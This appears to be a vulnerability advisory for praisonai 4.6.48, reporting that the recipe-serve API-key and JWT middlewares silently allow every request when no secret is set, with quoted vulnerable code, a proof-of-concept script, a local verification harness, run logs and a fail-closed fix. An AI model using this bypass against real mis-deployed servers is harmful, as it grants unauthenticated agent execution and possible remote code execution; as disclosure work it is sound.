PT-2026-53140 · Pypi · Praisonai
Publicado
2026-06-18
·
Atualizado
2026-06-18
CVSS v3.1
9.8
Crítica
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
praisonai: recipe serve authentication middleware silently disables itself when no secret is set
Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research
Target: https://github.com/MervinPraison/PraisonAI
Package:
praisonai on PyPI
Version tested: 4.6.48.
File: praisonai/recipe/serve.py (sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).TL;DR
praisonai/recipe/serve.py:312-410 defines two auth middlewares (APIKeyAuthMiddleware, JWTAuthMiddleware). Both contain the same "fail open when the secret is unset" branch at the top of their dispatch:python
async def dispatch(self, request, call next):
if request.url.path == "/health":
return await call next(request)
expected key = api key or os.environ.get("PRAISONAI API KEY")
if not expected key:
# No key configured, allow request
return await call next(request)
...python
async def dispatch(self, request, call next):
if request.url.path == "/health":
return await call next(request)
secret = jwt secret or os.environ.get("PRAISONAI JWT SECRET")
if not secret:
return await call next(request)
...The realistic mis-deploy:
- operator sets
auth: api-key(orauth: jwt) in their recipe YAML, expecting that line alone to enable auth, - operator does not set the corresponding
api key:/jwt secret:value in the same YAML, AND - operator does not export
PRAISONAI API KEY/PRAISONAI JWT SECRETin the environment.
The middleware silently treats every request as authenticated and forwards it to the recipe-execution route.
Combined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to "I have to set
auth: api-key to lock this down" still don't get auth on the recipe-serve surface unless they also remember the secret.Root cause
Expected behavior, after setting `auth: api-key` in the recipe YAML:
"Now my recipe endpoints require an X-API-Key header."
Actual behavior (serve.py:325-333):
- middleware reads `expected key = api key or
os.environ.get("PRAISONAI API KEY")`
- if `expected key` is None (neither YAML nor env supplied
one), middleware logs nothing and forwards the request.
- operator's recipe routes accept the request as if it were
authenticated. request.state.user is unset.
Impact:
The middleware's documented job is "validate the API key
against the configured value". The configured-value-is-None
case is exactly the case the middleware should fail closed
on — operator has signalled they want auth. Failing open
silently turns a documented authentication into a runtime
no-op.Empirical verification
poc/poc.py:- Imports the installed praisonai 4.6.48
praisonai.recipe.servemodule (sha256491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23). - Clears
PRAISONAI API KEY/PRAISONAI JWT SECRETenv vars to simulate the mis-deploy. - Calls
serve.create auth middleware('api-key', api key=None, jwt secret=None)and instantiates the returned middleware. - Builds a Starlette
Requestfor/runs(the recipe-execution path) with empty headers — noX-API-Key, noAuthorization. await middleware.dispatch(request, fake call next)returns the sentinel'REACHED-DOWNSTREAM (path=/runs)'from the fakecall next— proving the middleware passed the request through without authenticating.- Repeats the test for
auth type='jwt'— same bypass on the JWT path.
Run log (
poc/run-log.txt) summary:[2] auth type='api-key', no api key / no PRAISONAI API KEY env
middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
[3] auth type='jwt', no jwt secret / no PRAISONAI JWT SECRET env
middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
APIKeyAuthMiddleware allowed the request through without an API key.
JWTAuthMiddleware allowed the request through without a Bearer token.
[4] grep '# No key configured, allow request' -> line 333
VERDICT: VULNERABLE
EXIT 0Impact
The recipe-serve surface runs agentic workflows — same execution posture as
praisonai/jobs/server.py but separately configured / separately reached. Unauth access on this surface yields:- Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.
- Read the inputs / outputs of in-flight recipes — the operator's prompts and the LLM responses.
- In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.
Anchors
praisonai/recipe/serve.py:325-333—APIKeyAuthMiddleware.dispatchsilent-bypass branch.praisonai/recipe/serve.py:352-355—JWTAuthMiddleware.dispatchsilent-bypass branch.praisonai/recipe/serve.py:688-694— call site:
python
auth type = config.get("auth")
if auth type and auth type != "none":
auth middleware = create auth middleware(
auth type,
api key=config.get("api key"),
jwt secret=config.get("jwt secret"),
)Suggested fix
When the operator has signalled "I want auth", refuse to start without the corresponding secret rather than silently degrading:
python
def create auth middleware(auth type, api key=None, jwt secret=None):
if auth type == 'api-key':
expected key = api key or os.environ.get("PRAISONAI API KEY")
if not expected key:
raise SystemExit(
"auth type='api-key' requested but no API key is "
"configured. Either set `api key:` in your recipe "
"YAML or export PRAISONAI API KEY. Refusing to "
"start with a silently disabled auth middleware."
)
...
elif auth type == 'jwt':
secret = jwt secret or os.environ.get("PRAISONAI JWT SECRET")
if not secret:
raise SystemExit(
"auth type='jwt' requested but no JWT secret is "
"configured. Either set `jwt secret:` in your recipe "
"YAML or export PRAISONAI JWT SECRET. Refusing to "
"start with a silently disabled auth middleware."
)
...This is the same pattern the sibling
praisonai.gateway server applies in assert external bind safe at praisonai/gateway/auth.py:48-54 — refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.Steps to reproduce
- Clone the target:
git clone --depth 1 https://github.com/MervinPraison/PraisonAI - Run the proof of concept (
poc.py) against the cloned source. - Observe the result shown under Verified result below.
Proof of concept
poc.pypython
"""
PoC: praisonai 4.6.48 `praisonai recipe serve` configures
authentication via a `auth:` field in the recipe YAML. Setting
`auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or
JWTAuthMiddleware on the FastAPI app — and the operator's expectation
is that those endpoints now require a valid API key / Bearer JWT.
In reality, both middlewares contain an early-return that silently
bypasses authentication when the corresponding secret has not been
configured (neither via the recipe YAML nor via the
PRAISONAI API KEY / PRAISONAI JWT SECRET env var).
"""
import hashlib
import inspect
import os
import sys
def main() -> int:
print('=' * 72)
print('praisonai 4.6.48 — recipe serve auth middleware silent bypass')
print('=' * 72)
# Realistic deploy: operator sets `auth: api-key` in YAML but
# forgets to set api key / env var.
for env var in ('PRAISONAI API KEY', 'PRAISONAI JWT SECRET'):
if env var in os.environ:
del os.environ[env var]
from praisonai.recipe import serve as serve mod
src = inspect.getsourcefile(serve mod)
with open(src, 'rb') as f:
raw = f.read()
sha = hashlib.sha256(raw).hexdigest()
print()
print(f'[1] serve.py path : {src}')
print(f' sha256 : {sha}')
from starlette.requests import Request
create auth middleware = serve mod.create auth middleware
async def fake call next(request):
return f"REACHED-DOWNSTREAM (path={request.url.path})"
async def driver(auth type: str, headers=None):
scope = {
'type': 'http', 'method': 'GET', 'path': '/runs',
'headers': headers or [], 'query string': b'', 'scheme': 'http',
'server': ('127.0.0.1', 8000), 'app': None, 'root path': '',
}
request = Request(scope, receive=lambda: None)
mw cls = create auth middleware(auth type, api key=None, jwt secret=None)
if mw cls is None:
return 'middleware-import-failed'
instance = mw cls(app=None)
return await instance.dispatch(request, fake call next)
import asyncio
print()
print("[2] auth type='api-key', no api key / no PRAISONAI API KEY env")
result apikey = asyncio.run(driver('api-key'))
print(f" middleware.dispatch -> {result apikey!r}")
print()
print("[3] auth type='jwt', no jwt secret / no PRAISONAI JWT SECRET env")
result jwt = asyncio.run(driver('jwt'))
print(f" middleware.dispatch -> {result jwt!r}")
vulnerable = False
if isinstance(result apikey, str) and 'REACHED-DOWNSTREAM' in result apikey:
vulnerable = True
print(' APIKeyAuthMiddleware allowed the request through without an API key.')
if isinstance(result jwt, str) and 'REACHED-DOWNSTREAM' in result jwt:
vulnerable = True
print(' JWTAuthMiddleware allowed the request through without a Bearer token.')
# Static check that the bypass is on the code path.
text = raw.decode('utf-8', errors='replace')
needle api = '# No key configured, allow request'
apikey line = next(
(i for i, l in enumerate(text.splitlines(), 1) if needle api in l),
None,
)
print()
print('[4] static cross-check — bypass branch on the code path')
print(f" grep '{needle api}' -> line {apikey line}")
if not vulnerable:
print('UNEXPECTED — the dispatch did not return the bypass result.')
return 1
print()
print('VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes')
print(' both silently bypass auth when the operator sets auth type')
print(' but forgets the corresponding secret — unauthenticated access')
print(' to recipe execution endpoints.')
print('VERDICT: VULNERABLE')
return 0
if name == ' main ':
sys.exit(main())Verification harness (executed against the cloned repo)
This drives the unmodified upstream code rather than a reproduction.
python
import sys, types, os, importlib.util
BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK)
for p in ["praisonai","praisonai.recipe"]:
m=types.ModuleType(p); m. path =[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
spec=importlib.util.spec from file location("praisonai.recipe.serve", BK+"/praisonai/recipe/serve.py")
serve=importlib.util.module from spec(spec); serve. package ="praisonai.recipe"; sys.modules[spec.name]=serve; spec.loader.exec module(serve)
print("[*] Loaded REAL praisonai recipe/serve.py")
os.environ.pop("PRAISONAI API KEY", None) # operator forgot to export it too
from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import PlainTextResponse
from starlette.testclient import TestClient
def make app(mw):
app=Starlette(routes=[Route("/run", lambda r: PlainTextResponse("AGENT EXECUTED"), methods=["POST"])])
app.add middleware(mw); return TestClient(app)
# (A) operator set `auth: api-key` but forgot api key + env -> REAL factory returns middleware that SILENTLY bypasses
MW bypass = serve.create auth middleware("api-key", api key=None) # REAL factory
r = make app(MW bypass).post("/run")
print(f"[+] auth='api-key', NO key configured, NO header -> HTTP {r.status code} body={r.text!r}")
# (B) control: same middleware WITH a key configured -> unauthenticated request is correctly 401
MW enforced = serve.create auth middleware("api-key", api key="real-secret")
r2 = make app(MW enforced).post("/run")
print(f"[*] auth='api-key', key CONFIGURED, NO header -> HTTP {r2.status code} (correctly rejected)")
assert r.status code==200 and "AGENT EXECUTED" in r.text and r2.status code==401
print("[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated")Verified result
This PoC was executed against the live upstream code; captured output:
[*] Loaded REAL praisonai recipe/serve.py
[+] auth='api-key', NO key configured, NO header -> HTTP 200 body='AGENT EXECUTED'
[*] auth='api-key', key CONFIGURED, NO header -> HTTP 401 (correctly rejected)
[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticatedCredit
Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.
Correção
Missing Authentication
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Praisonai